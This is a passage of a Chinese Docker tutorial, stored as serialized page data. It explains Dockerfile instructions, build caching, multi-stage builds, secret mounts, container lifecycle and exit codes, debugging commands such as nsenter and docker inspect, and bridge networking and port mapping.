iptables，只是给人和 tool 看的\nLABEL org.opencontainers.image.source=\"https:\u002F\u002Fgithub.com\u002Fexample\u002Fshop\"  # 治理用\nHEALTHCHECK --interval=30s --timeout=3s --start-period=10s --retries=3 CMD node healthcheck.js\nSHELL [\"\u002Fbin\u002Fbash\", \"-eo\", \"pipefail\", \"-c\"]   # 改默认 shell，让管道失败可见 逐条说清「为什么这么设计」和「不这么做会怎样」： WORKDIR 而不是 RUN cd：RUN cd \u002Fx && make 那条指令内确实生效，但下一层又回到原地；而 WORKDIR 会自动创建目录、跨指令生效、且只是元数据（不新增大小）。用绝对路径，别用 ~。 USER 放在能放的位置：如果 USER app 之后的 RUN 需要往系统目录写，构建就会失败。正确姿势是 root 完成安装、chown\u002F--chown 好、最后 USER。 VOLUME 有副作用：它保证挂载点里不会被 RUN 写入的内容进入镜像（构建时对该目录的写会被丢弃），也让 docker run 忘了挂卷时悄悄建一个匿名卷（第九章讲怎么认出这种「幽灵数据」）。数据库镜像里 VOLUME \u002Fvar\u002Flib\u002Fmysql 就是这个意思：那目录里的数据不该属于镜像。也正因为 VOLUME 会丢写，如果你想在镜像里预置模板数据，得换个路径。 EXPOSE 只是文档：docker run -p 才是真的开端口映射；EXPOSE 的作用是让 docker ps 显示、让 --publish-all（-P）有东西可发布、让 Compose 的 expose 语义有依据。不写它不会连不上，写错它也不会连不上——很多人被这点反复误导。 LABEL 用于治理：镜像多了以后，「这是谁建的、源码在哪、什么构建时间」全靠 OCI 标准标签（org.opencontainers.image.*）。别把动态值（如 git rev）放进第一层，否则每次构建所有层全失效。 HEALTHCHECK 是「自证活着」的声明：没有它，Docker 只知道进程在不在，不知道服务能不能用。它是第十六章就绪判断和 depends_on: service_healthy 的基础。注意：unhealthy 不会自动重启容器，得配合重启策略或外部 watcher。 SHELL 改默认 shell：\u002Fbin\u002Fsh 各发行版行为不同（dash vs bash），管道失败与否、set -e 支持都不同。想写严谨的构建脚本就显式切 bash 并开 pipefail。",{"id":130796,"title":48065,"titles":130797,"content":130798,"level":357},"\u002Ftutorials\u002Fdocker#指令顺序缓存的分水岭",[45617,47220],"把上面的知识合起来就是一条排序原则——变化频率从低到高。下面这个左右对比能背下来： FROM node:22-bookworm-slim                # 很少变\nWORKDIR \u002Fsrv\u002Fshop                          # 很少变\nCOPY package.json package-lock.json .\u002F     # 依赖变更时才变\nRUN npm ci --omit=dev                       # 跟着依赖锁变\nCOPY . .                                    # 每次都变 ← 分水岭\nENV NODE_ENV=production                     # 元数据\nEXPOSE 3000                                 # 元数据\nCMD [\"node\", \"server.js\"]                   # 元数据，永远放最后 反过来写（先 COPY . . 再 RUN npm ci）的话，改一行注释就要重装依赖。示例 04 把这份 Dockerfile 做成了可点交互：点任意一条指令，右侧的层堆叠会即时高亮「新增层 \u002F 元数据层 \u002F 复用缓存」，并演示改动源码时的失效范围。",{"id":130800,"title":48134,"titles":130801,"content":130802,"level":357},"\u002Ftutorials\u002Fdocker#一个可以直接抄的最小-dockerfile",[45617,47220],"FROM node:22-bookworm-slim\nENV NODE_ENV=production\nWORKDIR \u002Fsrv\u002Fshop\nCOPY package.json package-lock.json .\u002F\nRUN npm ci --omit=dev --npm-config.ignore-scripts=false\nCOPY src .\u002Fsrc\nEXPOSE 3000\nUSER 1001:1001\nHEALTHCHECK --interval=30s --timeout=3s --retries=3 CMD node -e \"require('http').get('http:\u002F\u002F127.0.0.1:3000\u002Fhealthz',r=>process.exit(r.statusCode===200?0:1)).on('error',()=>process.exit(1))\"\nCMD [\"node\", \"src\u002Fserver.js\"] 里面每一行的理由：ENV 提前让依赖只装生产包；两次 COPY 切出缓存分水岭；USER 用数字 UID（不依赖镜像里恰好存在那个用户名）；HEALTHCHECK 走 exec 形式并显式 || exit；CMD 用 exec 形式以便收信号。下一章讲构建流程时，我们围绕它做缓存实验。",{"id":130804,"title":48212,"titles":130805,"content":314,"level":341},"\u002Ftutorials\u002Fdocker#五构建流程与缓存buildkitdockerignore-与多阶段构建",[45617],{"id":130807,"title":48216,"titles":130808,"content":130809,"level":357},"\u002Ftutorials\u002Fdocker#docker-build-的最小形态与必给参数",[45617,48212],"docker build -t ghcr.io\u002Fexample\u002Fshop-api:1.8.3 .\ndocker build -f Dockerfile.prod --target runtime -t shop-api:1.8.3 .\u002Fbackend 参数 作用 什么时候必须用 -t name:tag 命名并打标签 每次；没 tag 的镜像是悬空镜像，难找难删 -f \u002F --target 指定 Dockerfile \u002F 多阶段只做到某阶段 一仓库多构建；单独调试 builder 阶段 --build-arg K=V 传 ARG 版本号、代理、构建开关 --pull 强制重新拉基础镜像 追基础镜像的安全补丁（否则用本地旧副本） --no-cache 全量重建 复现 CI 的干净构建，日常别用（慢） --platform 指定目标平台 在 x86 上给 ARM 设备构建 --push \u002F --load 构建完推送 \u002F 载入本地 多架构时 --load 不支持多平台镜像 --progress=plain 展开完整日志 构建失败时看清是哪条指令哪一行 结尾那个 . 是构建上下文：Docker 会把它整个目录打包传给 daemon。目录里塞了 2GB 的 node_modules 或 .git，你每次构建就白传 2GB——这是 .dockerignore 存在的第一理由。",{"id":130811,"title":61622,"titles":130812,"content":130813,"level":357},"\u002Ftutorials\u002Fdocker#buildkit-与-syntax",[45617,48212],"从 Docker 23 起 BuildKit 是默认构建器。它相对老构建器的差异不是「快一点」，而是三条实质能力（--mount、heredoc、并行构建）。启用新语法靠文件第一行的解析器指令： #syntax=docker\u002Fdockerfile:1\nRUN --mount=type=cache,target=\u002Froot\u002F.npm npm ci --omit=dev\nCOPY --link . .                         # 不因父层权限反复失效，也不重置时间戳\nRUN \u003C\u003CEOF                             # heredoc：多行脚本不用拼 && 与转义\n  addgroup -g 1001 app && adduser -S -D -u 1001 -G app app\nEOF #syntax= 必须放在 ARG\u002FFROM 之前才生效（规范写法哈希后带空格也合法，解析器允许）。写 docker\u002Fdockerfile:1 表示跟随 1.x，写 docker\u002Fdockerfile:1.7 是固定版本、CI 可复现。--mount=type=cache 的缓存不进镜像，只在构建环境保留，能把「每次重装依赖」从 90 秒压到 5 秒；代价是它不受层缓存控制，换基础镜像后可能读到旧包（必要时 docker builder prune）。 示例 05 用同一个 Dockerfile 做三种改动——改注释、改依赖锁、改源码——对比 docker build 的逐层输出，失效起点完全不同。",{"id":130815,"title":48504,"titles":130816,"content":130817,"level":357},"\u002Ftutorials\u002Fdocker#层缓存命中的判定规则",[45617,48212],"一句话规则：命中 = 父层 ID 相同 + 指令文本相同 + （对 COPY\u002FADD）被复制文件的内容哈希相同。三条任何一条变了，这一层以及它之后的所有层全部重建。 变更内容 从哪一层开始重建 只改 CMD\u002FENV\u002FEXPOSE 的值 从那条元数据指令起（前面全命中，重建很快） 改 README.md（没被 COPY 到） 通常不重建；但若它在上下文里且被 COPY . . 覆盖，就重建 改 package-lock.json COPY package-lock 那层起重建 改 src\u002Fserver.js COPY . . 那层起重建 基础镜像更新（--pull） 全部重建 文件权限\u002Fmode 变化 也算内容变化（COPY 把 mode 纳入哈希） 两个反直觉细节： COPY . . 的哈希是整个上下文（扣除 .dockerignore）算的。于是 .gitignore 改了、dist\u002F 多了临时文件、生成了 *.log 都会击穿缓存。把 COPY . . 收窄成 COPY src .\u002Fsrc，既减小上下文又稳定缓存。 RUN 只看指令文本，不看外部世界。RUN apt-get install -y curl=7.88.1-1+deb12u1 带版本写法能按需失效；而 RUN git clone https:\u002F\u002Fgithub.com\u002Fexample\u002Fshop 只要文本不变就永远命中旧缓存，拿到的是半年前的代码——「代码明明更新了镜像里却是旧的」的成因。解法：用 COPY 放进去，或加 --build-arg COMMIT= 让文本变化。",{"id":130819,"title":48661,"titles":130820,"content":130821,"level":357},"\u002Ftutorials\u002Fdocker#dockerignore不是可选项",[45617,48212],".git\n**\u002Fnode_modules\ndist\ncoverage\n*.log\n.env\n.env.*\n!.env.example\ncompose*.yaml\ntests 不写它的三个后果：构建变慢（上下文几 GB）、缓存被击穿（任何杂文件都改内容哈希）、泄密（.env、id_rsa 被 COPY . . 打进镜像，docker history 与 docker save 之后都能翻出来）。语法接近 .gitignore，有一处常见「误报错」：.env 被 ignore 后 COPY .env \u002Fapp\u002F 直接失败——这不是 bug，而是提示：镜像里不该有需要 .env 的东西（第十三章）。",{"id":130823,"title":48715,"titles":130824,"content":130825,"level":357},"\u002Ftutorials\u002Fdocker#多阶段构建编译阶段与运行阶段彻底分开",[45617,48212],"问题的形状：构建 Node\u002FGo\u002FJava 应用需要编译器、包管理器、源码、测试依赖、头文件，运行只需要运行时和产物。把它们留在一个镜像里，等于把攻击面和体积一起打包上线。 #syntax=docker\u002Fdockerfile:1\nFROM node:22-bookworm-slim AS deps\nWORKDIR \u002Fsrv\u002Fshop\nCOPY package.json package-lock.json .\u002F\nRUN npm ci --omit=dev\nFROM node:22-bookworm-slim AS build\nCOPY --from=deps \u002Fsrv\u002Fshop\u002Fnode_modules .\u002Fnode_modules\nCOPY . .\nRUN npm run build && npm prune --omit=dev\nFROM node:22-bookworm-slim AS runtime        # 只有最后一个 FROM 之后的内容进最终镜像\nENV NODE_ENV=production\nWORKDIR \u002Fsrv\u002Fshop\nCOPY --from=build \u002Fsrv\u002Fshop .\u002F\nUSER 1001:1001\nEXPOSE 3000\nCMD [\"node\", \"server.js\"] 要点四条：COPY --from=\u003C阶段名|序号|外部镜像> 从别的阶段取产物，未被最终阶段引用的中间阶段会被跳过；产物里不要夹带构建工具（npm prune --omit=dev；Go 用 CGO_ENABLED=0 静态编译后拷进 FROM scratch）；阶段命名可读（AS deps）才方便 --target deps 单独构建调试；各阶段共享同一基础镜像的层，多阶段不额外吃磁盘。常见量级：1.2GB → 180MB。",{"id":130827,"title":48838,"titles":130828,"content":130829,"level":357},"\u002Ftutorials\u002Fdocker#buildx-与多架构",[45617,48212],"docker buildx create --name multi --driver docker-container --use\ndocker buildx inspect --bootstrap\ndocker run --privileged --rm tonistiigi\u002Fbinfmt --install all\ndocker buildx build --platform linux\u002Famd64,linux\u002Farm64 -t ghcr.io\u002Fexample\u002Fshop-api:1.8.3 --push .\ndocker manifest inspect ghcr.io\u002Fexample\u002Fshop-api:1.8.3 跨架构构建靠 QEMU 用户态模拟（binfmt 注册解释器），慢且某些编译会段错误，稳妥做法是用原生 runner（CI 上的 ARM 机器或云端构建）。一次产出多架构的结果是一个 manifest list（镜像索引），--load 只能载入单个平台，多架构必须 --push（或 --output type=oci,dest=out.tar）。exec format error 的根因就在这里：拿 amd64 镜像去 ARM 上跑；查平台用 docker image inspect --format '{{.Os}}\u002F{{.Architecture}}'，验证可以用 docker pull --platform linux\u002Farm64 busybox。",{"id":130831,"title":48972,"titles":130832,"content":130833,"level":357},"\u002Ftutorials\u002Fdocker#构建参数与-secrets-mount",[45617,48212],"需要凭据才能构建（私有 npm registry、GitHub Packages）时，不要用 --build-arg TOKEN=xxx，它会留在层历史里；用 BuildKit 的 secret mount： printf '%s' \"${NPM_TOKEN}\" | docker buildx build --secret id=npm_token,src=- -t shop-api:1.8.3 . RUN --mount=type=secret,id=npm_token,target=\u002Frun\u002Fsecrets\u002Fnpm_token \\\n    NPM_TOKEN=$(cat \u002Frun\u002Fsecrets\u002Fnpm_token) npm ci --omit=dev --mount=type=secret 的文件只在这条指令执行期间存在，不进任何层、不出现在 docker history。另外 --progress=plain 的日志会被 CI 存档，别把 secret echo 出来。 构建侧的收获总结成三句：Dockerfile 的顺序决定速度，.dockerignore 决定速度与安全性，多阶段决定体积与攻击面。下面进入运行侧。",{"id":130835,"title":49067,"titles":130836,"content":130837,"level":341},"\u002Ftutorials\u002Fdocker#六容器生命周期与-run-参数一张表把命令行讲清",[45617],"镜像是死的，容器是活的。这一章把 docker run 的几十个参数按用途分组，再解决「docker ps -a 里那些状态字符串到底在说什么」。",{"id":130839,"title":49080,"titles":130840,"content":130841,"level":357},"\u002Ftutorials\u002Fdocker#状态机created-running-paused-exited-removed",[45617,49067],"docker create --name shop-web nginx:1.27-alpine    # 只建不跑：created\ndocker start shop-web                              # running\ndocker pause shop-web; docker unpause shop-web     # 冻结 \u002F 解冻（cgroup freezer）\ndocker stop -t 10 shop-web                         # 先 SIGTERM，超时后 SIGKILL → exited\ndocker kill -s SIGTERM shop-web                    # 直接发信号，默认 SIGKILL\ndocker rm shop-web                                 # 删除容器（连同可写层）\ndocker container prune                             # 清掉所有已停止容器 三条要点： stop 是请求，kill 是强制。stop 发 SIGTERM 并等 -t 秒（默认 10），到点没退就 SIGKILL。这段等待期是应用收尾（放连接、刷缓冲、提交 offset）的唯一窗口——第十六章整章讲这条链路为什么经常失效。 pause 不是「暂停服务」。它冻结进程，TCP 连接会一直挂着直到超时；而且暂停中的容器不能 exec 也不能 stop（要先 unpause）。生产里几乎不用。 --rm 让容器一次性：主进程退出即自动 docker rm，可写层与匿名卷一起销毁。好处是不留垃圾，坏处是排障现场消失了——调试阶段永远别加 --rm，有数据的容器永远不要加。",{"id":130843,"title":49256,"titles":130844,"content":130845,"level":357},"\u002Ftutorials\u002Fdocker#run-参数分组速查",[45617,49067],"组 参数 说明与坑 运行控制 -d 后台运行并打印容器 ID -it -i 保持 stdin、-t 分配伪终端，通常两个一起用；cron\u002FCI 里不要加 -it，否则 the input device is not a TTY --rm 退出即删，别用于有数据的容器 标识 --name \u002F --hostname 前者是容器名（也是网络里的 DNS 名），重名报 Conflict. The container name ... is already in use；后者只改容器内 hostname 的值，两者是两回事 --label env=prod 打标签，配合 --filter label=env=prod 批量管理 端口 -p 8080:80 宿主 0.0.0.0:8080 → 容器 80；写 -p 8080:80\u002Fudp 才是 UDP，不写默认 tcp -p 127.0.0.1:8080:80 只绑回环，数据库与管理面板的默认写法 -p 8080 \u002F -P 前者宿主端口随机、后者把所有 EXPOSE 过的端口都随机发布（docker ps 看结果） 环境 -e KEY=VAL 可重复；-e KEY 表示从当前 shell 透传 --env-file .env.production 每行 K=V，# 开头是注释；别把 .env 提交 挂载 -v name:\u002Fpath 命名卷（省略 name 则是匿名卷）；-v .\u002Fconf:\u002Fetc\u002Fapp:ro 是 bind mount + 只读，相对路径基于当前目录 --mount type=volume,source=db,target=\u002Fvar\u002Flib\u002Fmysql 等价但可写 readonly、volume-opt，拼错会直接报错（第九章对照表） 网络 --network shop-net \u002F --network host 自定义网络（有 DNS，第八章）；host 共享宿主栈（Mac\u002FWindows 上不生效，且让 --dns、--network-alias 失效） --add-host db:10.0.0.5 往 \u002Fetc\u002Fhosts 追加一条 重启 --restart unless-stopped 四种策略见第十六章 资源 --memory 512m \u002F -m 内存上限，超了就 Exited (137)；--memory-swap 768m 是总内存 + swap，语义特殊，第十四章专门讲 --cpus 1.5 \u002F --cpuset-cpus 0,1 \u002F --pids-limit 256 CPU 配额 \u002F 绑核 \u002F 防 fork 炸弹 安全 --user 1001:1001 以该身份运行（对齐 bind mount 属主时用） --read-only --tmpfs \u002Ftmp 根文件系统只读 + 临时可写目录 --cap-drop ALL --cap-add NET_BIND_SERVICE 能力裁剪；--security-opt no-new-privileges 禁止提权（第十五章） --init 用 tini 当 PID 1，转发信号、回收僵尸进程 --entrypoint sh 覆盖 ENTRYPOINT 来调试（第七章）",{"id":130847,"title":49659,"titles":130848,"content":130849,"level":357},"\u002Ftutorials\u002Fdocker#docker-ps-a-的-status-怎么读",[45617,49067],"STATUS 片段 含义 下一步查什么 Up 3 hours 正常运行 3 小时 — Up 3 hours (healthy) 健康检查通过 第十六章 HEALTHCHECK Up 3 hours (health: starting) 还在 --start-period 内 连续通过 retries 次才转 healthy Up 3 hours (unhealthy) 检查连续失败 容器还在跑但服务不可用；Docker 不会自动重启它 Restarting (1) 5 seconds ago 崩溃后被重启策略反复拉起 docker logs --tail 50；1 是退出码 Exited (0) 2 hours ago 正常退出 服务型容器退 0 多半是「前台命令跑完了」，检查 CMD Exited (1) 5 minutes ago 应用自身报错 logs → --entrypoint sh（第七章三步法） Exited (126) 命令不可执行（权限\u002F不是可执行文件） 检查 ENTRYPOINT 指向的文件与 +x Exited (127) 命令找不到（路径错\u002F缺动态库） --entrypoint sh 进去 ls、ldd Exited (137) = 128+9 被 SIGKILL：OOM、docker kill、或 stop 超时 inspect 看 OOMKilled（第十四章） Exited (143) = 128+15 被 SIGTERM 终止（没自己处理） 优雅停机没做好（第十六章） Created 只 create 过，从未成功启动 docker start 看它报什么 Dead 清理时出错，异常状态 docker rm -f，并查内核日志 退出码只需记一条：128 以上是「被信号 X 杀死」，X = 码 − 128。137−128=9（KILL）、143−128=15（TERM）。看到 Exited (137) 先怀疑资源限制，别急着改业务代码。",{"id":130851,"title":49916,"titles":130852,"content":130853,"level":357},"\u002Ftutorials\u002Fdocker#观察一个正在跑的容器",[45617,49067],"docker logs -f --tail 100 --since 30m shop-api     # -f 跟随，-t\u002F--timestamps 加时间戳\ndocker stats --no-stream                            # 一次快照：CPU%、MEM USAGE\u002FLIMIT、NET、BLK IO、PIDS\ndocker top shop-api                                 # 宿主视角看容器进程（真实 PID 与 USER）\ndocker diff shop-web                                # 可写层里增(A)\u002F改(C)\u002F删(D) 的文件\ndocker events --since 30m --filter event=die        # 生命周期事件 各自的用处： logs 读的是容器的 stdout\u002Fstderr，不是容器里的文件。应用若把日志写进容器内文件，docker logs 永远空白——这就是 12-factor 要求「日志打到标准输出」的原因（第十三章）。 stats 的 MEM USAGE \u002F LIMIT，LIMIT 是 cgroup 上限而不是宿主内存，百分比按上限算——判断「是不是被限制死了」的最快入口。--no-stream 只采一次，适合脚本。 top 解决「容器里跑着 java 但镜像没装 ps」的尴尬（第七章）。 diff 是个便宜的侦探：让容器跑一轮业务再看 diff，就知道该挂哪个卷、--read-only 会挡住哪些路径。 示例 06 把这套观察串成一次真实的排查流：从 docker ps -a 里那行 Restarting (1) 开始，逐步定位到 Exited (137)。 生命周期搞清楚了，下一章学「进去看」——以及当镜像里什么都没有时怎么调试。",{"id":130855,"title":50086,"titles":130856,"content":130857,"level":341},"\u002Ftutorials\u002Fdocker#七进入容器与调试execinspect-与镜像里什么都没有",[45617],"调试容器的心法只有一句：容器就是一个进程，进不去就用外部的眼睛看。这一章把两种眼睛都给你。",{"id":130859,"title":61637,"titles":130860,"content":130861,"level":357},"\u002Ftutorials\u002Fdocker#docker-exec-与-的坑",[45617,50086],"docker exec -it shop-api sh          # 最常用：alpine\u002Fbusybox 只有 sh；Debian 系镜像才有 bash\ndocker exec -u root -it shop-api sh  # 镜像里 USER 非 root 时临时提权\ndocker exec shop-api cat \u002Fetc\u002Fos-release        # 非交互，适合脚本\ndocker exec shop-api ls -- -p                   # 文件名以 - 开头时必须用 -- 分隔 为什么很多镜像没有 bash？因为基础镜像是 alpine\u002Fbusybox（体积小、攻击面小），甚至 distroless\u002Fscratch 连 sh 都没有。这不是作者恶意，而是第十五章的取舍结果。遇到没 shell 的镜像，看本章后半部分。 -- 的规则只有一条：「选项解析到此为止」。docker exec -it c -- node -v 里 -- 之后全部交给容器；docker run --rm img -- --version 里 docker 会把第二个 -- 之后的内容当成「镜像自己的参数」，行为和你预期不同。当你要传的参数本身带 -（-p、--version），不加分隔符时 docker 会先把它当成自己的选项，报出的错误通常很难看。",{"id":130863,"title":50229,"titles":130864,"content":130865,"level":357},"\u002Ftutorials\u002Fdocker#inspect用-format-只要你要的字段",[45617,50086],"docker inspect 一次吐几 KB JSON，硬读会累死，--format 才是正解： docker inspect shop-api --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'\ndocker inspect shop-api --format '{{json .Config.Env}}'      # 同样套路：{{json .Mounts}}、.State.*\ndocker inspect --format '{{.Name}} {{.State.Status}} exit={{.State.ExitCode}} oom={{.State.OOMKilled}} health={{.State.Health.Status}}' shop-api shop-db\ndocker ps --format '{{.Names}}|{{.Image}}|{{.Status}}|{{.Ports}}'   # ps 同样支持，脚本神器 --format 是 Go 模板：{{.X}} 取值、{{json .X}} 打印结构、{{range}} 遍历、{{if}} 条件。报 nil can't be fields 一般是路径写错（比如 NetworkSettings.Networks 是 map，得 range 进去），先原样 inspect 一次看清结构再改模板。",{"id":130867,"title":50345,"titles":130868,"content":130869,"level":357},"\u002Ftutorials\u002Fdocker#docker-cp双向搬文件",[45617,50086],"docker cp shop-api:\u002Fsrv\u002Fshop\u002Fconfig\u002Fapp.yaml .\u002Fapp.yaml 是容器 → 宿主，docker cp .\u002Fnginx.conf shop-web:\u002Fetc\u002Fnginx\u002Fconf.d\u002Fsite.conf 是宿主 → 容器。 用途是把配置塞进去做一次性试验、把日志与产物捞出来。两个限制：运行中改的文件容器重建就没了（所以它是调试手段，不是部署手段）；cp 目录时的合并语义与 rsync 不同，路径末尾的 \u002F 要写清楚。",{"id":130871,"title":50377,"titles":130872,"content":130873,"level":357},"\u002Ftutorials\u002Fdocker#镜像里没有编辑器没有-ps没有-curl-怎么办",[45617,50086],"按代价从小到大三个方案： 方案 做法 适合 代价 从外部看 docker top、docker logs、docker cp、宿主 \u002Fproc\u002F\u003Cpid>\u002F、nsenter 只想看状态与文件 需要宿主权限 临时装工具 docker exec -it shop-api sh -c 'apk add --no-cache curl tcpdump' 一次性排查 破坏「镜像不可变」，只允许在开发\u002F临时环境 调试镜像 单独 Dockerfile.debug（含 strace\u002Flsof\u002Fjq），或把 nicolaka\u002Fnetshoot 连进同一网络 反复排查网络与进程 多一份镜像要维护 从宿主直接看容器内部，是很值钱的一招（Linux 上）： PID=$(docker inspect --format '{{.State.Pid}}' shop-api)\nsudo ls -l \u002Fproc\u002F$PID\u002Froot\u002Fsrv\u002Fshop; sudo cat \u002Fproc\u002F$PID\u002Fcgroup   # 容器的根文件系统 \u002F 它归属哪个 cgroup\nsudo nsenter -t $PID -n ss -lntp                                 # 进入它的 net namespace 看监听端口\nsudo nsenter -t $PID -m -p -- cat \u002Fproc\u002F1\u002Fenviron | tr '\\0' '\\n' nsenter 借用容器的 namespace，看到的端口、路由、文件都是容器视角，而工具装在宿主上——镜像里什么都没有也能查。",{"id":130875,"title":50598,"titles":130876,"content":130877,"level":357},"\u002Ftutorials\u002Fdocker#起来就退出-entrypoint-sh-是唯一可靠的入口",[45617,50086],"容器 Exited (1) 且没有日志时，你连 exec 的机会都没有（它已经不跑了）。正确做法是把主命令换成 shell，再手工跑原来那条： docker run --rm -it --entrypoint sh ghcr.io\u002Fexample\u002Fshop-api:1.8.3\n\u002Fsrv\u002Fshop $ node server.js        # 错误现在直接打到你的终端上\n\u002Fsrv\u002Fshop $ env | sort; id; ls -l . 三步定位法（第十八章的排障表也按它走）：docker logs --tail 50 \u003Cname> → 没输出就 --entrypoint sh 手工启动 → 怀疑环境差异就在 shell 里核对 env、id、路径与权限。",{"id":130879,"title":50694,"titles":130880,"content":130881,"level":357},"\u002Ftutorials\u002Fdocker#docker-events谁在什么时候动了什么",[45617,50086],"docker events --since 30m --until 10m --filter type=container，或者按事件与标签收窄：docker events --filter 'event=die' --filter 'label=app=shop-api'。 die 事件带 exitCode，--since\u002F--until 支持相对时间。它能回答「谁杀了我的容器」：如果 die 前面有 kill 事件，那是人为或脚本发的信号；只有一个 die 且 OOMKilled=true，那是内核干的（第十四章）。",{"id":130883,"title":50736,"titles":130884,"content":130885,"level":357},"\u002Ftutorials\u002Fdocker#为什么容器里通常没有-systemd",[45617,50086],"因为容器不是虚拟机。systemd 的职责是管理一整台机器（init、服务、cgroup、日志、登录会话），而容器的定位是「一个进程 + 它需要的东西」： PID 1 应该留给你的应用；给了 systemd，信号、退出码、日志转发全乱（第十六章的信号问题会加倍）。 systemd 要写 cgroup 树、访问 \u002Fsys\u002Ffs\u002Fcgroup、可能需要 CAP_SYS_ADMIN——在共享内核的容器里做这些，等于和宿主的管理者（dockerd、kubelet）抢 cgroup。这就是第二章 docker info 里 Cgroup Driver 必须统一的深层原因。 需要多个服务时的答案是多容器 + Compose（第十一章），不是在一个容器里跑五个 daemon。 确有特例（跑完整发行版做系统级测试），社区做法是带 systemd 的特权镜像，形如 --cgroupns=host --tmpfs \u002Frun --tmpfs \u002Frun\u002Flock -v \u002Fsys\u002Ffs\u002Fcgroup:\u002Fsys\u002Ffs\u002Fcgroup:ro。生产里把它当代码异味看待。 示例 07 把 exec、inspect --format、top、cp、--entrypoint 串成一次完整排查演练，全部输出是真实样本。 调试能力有了，下一章处理运行侧最容易出事的一块：网络。",{"id":130887,"title":50800,"titles":130888,"content":50803,"level":341},"\u002Ftutorials\u002Fdocker#八端口与网络bridge自定义网络与那个会变-ip-的坑",[45617],{"id":130890,"title":50806,"titles":130891,"content":130892,"level":357},"\u002Ftutorials\u002Fdocker#五种网络驱动与取舍",[45617,50800],"驱动 机制 典型用途 代价与限制 bridge（默认） Linux bridge + veth + NAT 本地开发、单机多容器 默认网络无 DNS、有 NAT 开销 host 容器直接用宿主网络栈 追求极致性能、需要看宿主网卡 直接占用宿主端口、与其他容器 hostname 混在一起、Mac\u002FWindows 无效 none 只有 lo 回环 纯计算任务、彻底断网 完全没网络 overlay VXLAN 隧道跨宿主 Swarm 多机服务 只有 Swarm 才用得上（第十七章） macvlan \u002F ipvlan 容器在局域网里拿到独立 MAC\u002FIP 需要以「独立网络设备」身份存在 与宿主通信受阻、交换机端口安全\u002F802.1X 会拒、AP 隔离网络无效 选择顺序基本是：自定义 bridge（单机首选） → host（明确要性能或要宿主栈） → macvlan（明确要求二层可达） → overlay（跨机且用 Swarm）。「默认 bridge」不在可选之列，理由见下一节。",{"id":130894,"title":50924,"titles":130895,"content":130896,"level":357},"\u002Ftutorials\u002Fdocker#默认网桥-docker0-的真实行为",[45617,50800],"装完 Docker，宿主上会出现 docker0 网桥，默认网段 172.17.0.0\u002F16。不加 --network 的容器都接在上面。它有两个坑： 没有基于名字的 DNS。默认网络里容器只能靠 IP 互相访问，而 IP 每次重启都可能变：docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' shop-api 今天拿到 172.17.0.2，重启后可能变成 172.17.0.3——任何把 IP 写进配置的用法都是定时炸弹。 同网段一律互通（icc=true），且所有容器混在一张广播域里，噪音与端口冲突随容器数量增长。 结论：生产与多容器开发一律用自定义网络，默认 bridge 只适合「临时跑一个孤立容器」。",{"id":130898,"title":50979,"titles":130899,"content":130900,"level":357},"\u002Ftutorials\u002Fdocker#自定义网络与-dns-解析",[45617,50800],"docker network create --driver bridge --subnet 172.28.0.0\u002F16 --gateway 172.28.0.1 shop-net\ndocker network connect shop-net shop-api     # 断开是 network disconnect；network inspect 看细节\ndocker network ls; docker network rm shop-net 自定义网络里，容器名就是主机名，可以直接 curl http:\u002F\u002Fshop-api:3000。原理是每个网络内嵌一个 DNS 服务器（容器里 cat \u002Fetc\u002Fresolv.conf 会看到 nameserver 127.0.0.11），它把容器名与网络别名解析成当前 IP——IP 变了名字不变，配置不用改。这就是「不要靠 IP，要靠名字」的技术依据。 docker run -d --name shop-api --network shop-net --network-alias api ghcr.io\u002Fexample\u002Fshop-api:1.8.3\ndocker exec shop-web curl -s http:\u002F\u002Fapi:3000\u002Fhealthz        # 别名同样可用\ndocker exec shop-api getent hosts shop-db                    # 看 DNS 实际解析到什么 --link 是老写法（默认网络时代的补丁），现在忘掉它：它靠注入环境变量和改 \u002Fetc\u002Fhosts 工作，行为隐晦、已废弃，Compose 里写了也不起作用。 network create 值得知道的开关：--internal（完全不出外网，只让容器间互通）、--ipv6、--ip-range、--opt com.docker.network.driver.mtu=1400（overlay\u002FVXLAN 必须减 MTU，否则出现「小请求正常、大请求卡死」的经典诡异现象）、--attachable（Swarm，第十七章）。",{"id":130902,"title":51177,"titles":130903,"content":130904,"level":357},"\u002Ftutorials\u002Fdocker#端口映射四种写法与port-is-already-allocated",[45617,50800],"docker run -d -p 8080:80 shop-web             # 宿主 0.0.0.0:8080 → 容器 80\ndocker run -d -p 127.0.0.1:8080:80 shop-web   # 只监听回环（推荐的默认姿势）\ndocker run -d -p 8080 shop-web                # 宿主端口随机；`-p 80\u002Fudp` 则是显式指定协议 背后是 docker-proxy 进程 + iptables DNAT。因此端口不通的排查顺序是固定的四步： docker ps --format '{{.Names}} {{.Ports}}'                # ① 映射到底存在吗\ndocker exec shop-web sh -c 'ss -lntp || netstat -lntp'    # ② 容器里真的在听吗？听的是 0.0.0.0 吗\nsudo ss -lntp | grep 8080                                 # ③ 宿主上这个端口被谁占了\nsudo iptables -t nat -S DOCKER | grep 8080                # ④ NAT 规则真的写进去了吗 第②步是新手最大的盲区：应用只 bind 127.0.0.1 时，端口映射永远不会通——从 veth 进来的包不是本地回环来源。所以「容器里的服务必须 bind 0.0.0.0」是硬性要求，而很多框架默认绑 localhost（Uvicorn、部分 Spring 配置、老版 webpack devServer），必须显式改。 Error response from daemon: driver failed programming external connectivity ... port is already allocated 的三类原因：别的容器占了（docker ps 查）、宿主进程占了（ss -lntp 查）、daemon 上次异常退出留下僵尸 docker-proxy（重启 docker 解决）。示例 08 是一次完整演练：从「连不上」一路查到「应用只 bind 了 127.0.0.1」。",{"id":130906,"title":51360,"titles":130907,"content":130908,"level":357},"\u002Ftutorials\u002Fdocker#容器互访宿主访问容器",[45617,50800],"容器 → 容器：同一个自定义网络，用容器名\u002F别名 + 容器内端口（http:\u002F\u002Fshop-db:5432）。不要绕道宿主映射端口，也不要用 IP。 宿主 → 容器：curl localhost:8080（走映射）；Linux 上还能直接 curl 172.28.0.5:5432（容器 IP，只用于调试）。 容器 → 宿主上的服务：用 host.docker.internal。Docker Desktop 自带该域名；Linux 上要手动加： docker run -d --name shop-api --add-host=host.docker.internal:host-gateway ghcr.io\u002Fexample\u002Fshop-api:1.8.3\ndocker exec shop-api curl -s http:\u002F\u002Fhost.docker.internal:5432\u002F host-gateway 是特殊值，让 Docker 自己填宿主在容器网络里的网关 IP，比写死 172.17.0.1 可靠。Compose 里对应 extra_hosts: 